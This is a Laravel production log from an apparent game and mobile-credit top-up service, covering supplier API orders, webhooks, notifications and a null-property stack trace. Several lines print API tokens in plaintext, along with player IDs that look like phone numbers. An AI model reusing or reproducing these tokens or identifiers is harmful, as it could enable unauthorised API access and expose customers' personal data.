[2026-03-24 21:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02"} 
[2026-03-24 21:58:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","total_operations":1,"sites_count":1} 
[2026-03-24 21:58:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-9rGb3dQ-1774378660"]} 
[2026-03-24 21:58:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 21:58:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9rGb3dQ-1774378660","operation_id":164311} 
[2026-03-24 21:58:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9rGb3dQ-1774378660","operation_id":164311,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 21:58:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9rGb3dQ-1774378660","operation_id":164311,"processed":0,"errors":0} 
[2026-03-24 21:58:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yBj7W1mvvON8X1VGN58bJkKpGb6MRLma","execution_time":"2026-03-24 21:58:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9rGb3dQ-1774378660","operation_id":164311} 
[2026-03-24 21:58:03] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"114.0","mainamount":"114","operation_number":"158785558","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php795slvfr7l798suArN8"}},"user_id":265} 
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:58:05] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:58:05] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18719,"user_id":265,"amount":114.0,"admins_notified":7} 
[2026-03-24 21:58:17] production.INFO: Constructing job for order: 179437  
[2026-03-24 21:58:20] production.INFO: Handling job for order: 179437  
[2026-03-24 21:58:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:58:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:58:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=fd7b35f2-b438-43d1-8314-b538c5d66b0e&Player_ID=0998481514  
[2026-03-24 21:58:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=fd7b35f2-b438-43d1-8314-b538c5d66b0e&Player_ID=0998481514","has_body":false} 
[2026-03-24 21:58:20] production.INFO: Operation sent successfully {"operation_id":164312,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2X5TEQ-1774378700","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:58:20"}},"processed_data":{"order_number":"ORD-2X5TEQ-1774378700","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:59:20] production.INFO: Constructing job for order: 179438  
[2026-03-24 21:59:21] production.INFO: Handling job for order: 179438  
[2026-03-24 21:59:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:59:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:59:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7a644f1e-cf1a-4433-be15-8236c87e71c1&Player_ID=52025919603  
[2026-03-24 21:59:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7a644f1e-cf1a-4433-be15-8236c87e71c1&Player_ID=52025919603","has_body":false} 
[2026-03-24 21:59:21] production.INFO: Operation sent successfully {"operation_id":164313,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kxVY-1774378761","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:59:21"}},"processed_data":{"order_number":"ORD-kxVY-1774378761","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:59:33] production.INFO: Constructing job for order: 179439  
[2026-03-24 21:59:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kxVY-1774378761","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:59:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-kxVY-1774378761","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:59:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:59:34] production.INFO: SendAcceptReject: Notification queued {"user_id":265,"notification_type":"order_approved","reference_id":179438} 
[2026-03-24 21:59:34] production.INFO: Order updated successfully. Order ID: 179438, Status: completed  
[2026-03-24 21:59:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kxVY-1774378761","status":"completed","codes_count":0} 
[2026-03-24 21:59:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 265  
[2026-03-24 21:59:36] production.INFO: Handling job for order: 179439  
[2026-03-24 21:59:36] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:59:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:59:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=4f807aca-eb98-4f00-a409-214271280ac3&Player_ID=13965486  
[2026-03-24 21:59:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=4f807aca-eb98-4f00-a409-214271280ac3&Player_ID=13965486","has_body":false} 
[2026-03-24 21:59:37] production.INFO: Operation sent successfully {"operation_id":164314,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zncmnW-1774378777","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:59:37"}},"processed_data":{"order_number":"ORD-zncmnW-1774378777","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:00:00] production.INFO: Constructing job for order: 179440  
[2026-03-24 22:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01"} 
[2026-03-24 22:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","total_operations":3,"sites_count":1} 
[2026-03-24 22:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","orders_count":3,"order_ids":["ORD-9rGb3dQ-1774378660","ORD-2X5TEQ-1774378700","ORD-zncmnW-1774378777"]} 
[2026-03-24 22:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 22:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 22:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 22:00:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 22:00:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"count":3} 
[2026-03-24 22:00:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"count":3} 
[2026-03-24 22:00:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"user_id":43,"notification_type":"order_approved","reference_id":179437} 
[2026-03-24 22:00:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"user_id":43,"notification_type":"order_approved","reference_id":179436} 
[2026-03-24 22:00:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"user_id":36,"notification_type":"order_approved","reference_id":179439} 
[2026-03-24 22:00:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:00:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:00:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"processed":3,"errors":0} 
[2026-03-24 22:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314,"processed":3,"errors":0} 
[2026-03-24 22:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"T7UCZmvhUFMaV4mAXlm573JDctfoqtO9","execution_time":"2026-03-24 22:00:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zncmnW-1774378777","operation_id":164314} 
[2026-03-24 22:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:00:03] production.INFO: async() رجع: true  
[2026-03-24 22:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:00:05] production.INFO: Handling job for order: 179440  
[2026-03-24 22:00:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:00:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:00:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=a770c983-e61f-4224-9d5e-8ab0ffb3befd&Player_ID=1809485297  
[2026-03-24 22:00:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=a770c983-e61f-4224-9d5e-8ab0ffb3befd&Player_ID=1809485297","has_body":false} 
[2026-03-24 22:00:06] production.INFO: Operation sent successfully {"operation_id":164315,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-g6iDf-1774378805","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 22:00:06"}},"processed_data":{"order_number":"ORD-g6iDf-1774378805","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 22:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 22:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 22:00:06] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 22:00:06] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 22:00:06] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 22:00:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-g6iDf-1774378805","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:00:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-g6iDf-1774378805","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:00:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:00:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1071,"notification_type":"order_approved","reference_id":179440} 
[2026-03-24 22:00:13] production.INFO: Order updated successfully. Order ID: 179440, Status: completed  
[2026-03-24 22:00:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-g6iDf-1774378805","status":"completed","codes_count":0} 
[2026-03-24 22:00:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 22:02:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"PUPt0PtKeolMS2RRHO79AKsktI4KUknj","execution_time":"2026-03-24 22:02:00"} 
[2026-03-24 22:02:00] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"PUPt0PtKeolMS2RRHO79AKsktI4KUknj","execution_time":"2026-03-24 22:02:00"} 
[2026-03-24 22:02:21] production.INFO: Constructing job for order: 179441  
[2026-03-24 22:02:24] production.INFO: Handling job for order: 179441  
[2026-03-24 22:02:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:02:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:02:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=f5e4aca9-f3db-4cd7-857b-efbffcb75327&Player_ID=51805315621  
[2026-03-24 22:02:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=f5e4aca9-f3db-4cd7-857b-efbffcb75327&Player_ID=51805315621","has_body":false} 
[2026-03-24 22:02:25] production.INFO: Operation sent successfully {"operation_id":164316,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vBU8qb-1774378945","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:02:25"}},"processed_data":{"order_number":"ORD-vBU8qb-1774378945","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 22:02:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vBU8qb-1774378945","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:02:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-vBU8qb-1774378945","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:02:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:02:34] production.INFO: SendAcceptReject: Notification queued {"user_id":36,"notification_type":"order_approved","reference_id":179441} 
[2026-03-24 22:02:34] production.INFO: Order updated successfully. Order ID: 179441, Status: completed  
[2026-03-24 22:02:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vBU8qb-1774378945","status":"completed","codes_count":0} 
[2026-03-24 22:02:34] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 22:02:34] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 22:02:35] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 22:02:43] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"request_approved","reference_id":18715} 
[2026-03-24 22:02:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 22:03:11] production.INFO: SendAcceptReject: Notification queued {"user_id":418,"notification_type":"request_approved","reference_id":18716} 
[2026-03-24 22:03:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 22:03:24] production.INFO: SendAcceptReject: Notification queued {"user_id":130,"notification_type":"request_approved","reference_id":18717} 
[2026-03-24 22:03:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 130  
[2026-03-24 22:03:37] production.INFO: SendAcceptReject: Notification queued {"user_id":1101,"notification_type":"request_approved","reference_id":18718} 
[2026-03-24 22:03:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1101  
[2026-03-24 22:03:40] production.INFO: Constructing job for order: 179442  
[2026-03-24 22:03:41] production.INFO: Handling job for order: 179442  
[2026-03-24 22:03:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:03:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:03:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=ea091517-b536-4044-ae2d-45210690341f&Player_ID=0956400714  
[2026-03-24 22:03:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=ea091517-b536-4044-ae2d-45210690341f&Player_ID=0956400714","has_body":false} 
[2026-03-24 22:03:41] production.INFO: Operation sent successfully {"operation_id":164317,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iXlUtZLd-1774379021","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:03:41"}},"processed_data":{"order_number":"ORD-iXlUtZLd-1774379021","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:03:47] production.INFO: Constructing job for order: 179443  
[2026-03-24 22:03:47] production.INFO: SendAcceptReject: Notification queued {"user_id":265,"notification_type":"request_approved","reference_id":18719} 
[2026-03-24 22:03:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 265  
[2026-03-24 22:03:48] production.INFO: Handling job for order: 179443  
[2026-03-24 22:03:48] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:03:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:03:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=e9e1c4a7-515b-4b45-bc2b-33e71163a34a&Player_ID=0956400714  
[2026-03-24 22:03:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=e9e1c4a7-515b-4b45-bc2b-33e71163a34a&Player_ID=0956400714","has_body":false} 
[2026-03-24 22:03:48] production.INFO: Operation sent successfully {"operation_id":164318,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8CAX-1774379028","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:03:48"}},"processed_data":{"order_number":"ORD-8CAX-1774379028","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:03:54] production.ERROR: Attempt to read property "user_id" on null {"exception":"[object] (ErrorException(code: 0): Attempt to read property \"user_id\" on null at /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php:124)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#1 /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php(124): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController->approveCredit(Object(Illuminate\\Http\\Request))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('approveCredit', Array)
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController), 'approveCredit')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#8 /home/talaah/public_html/app/Http/Middleware/AdminAuth.php(35): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\AdminAuth->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
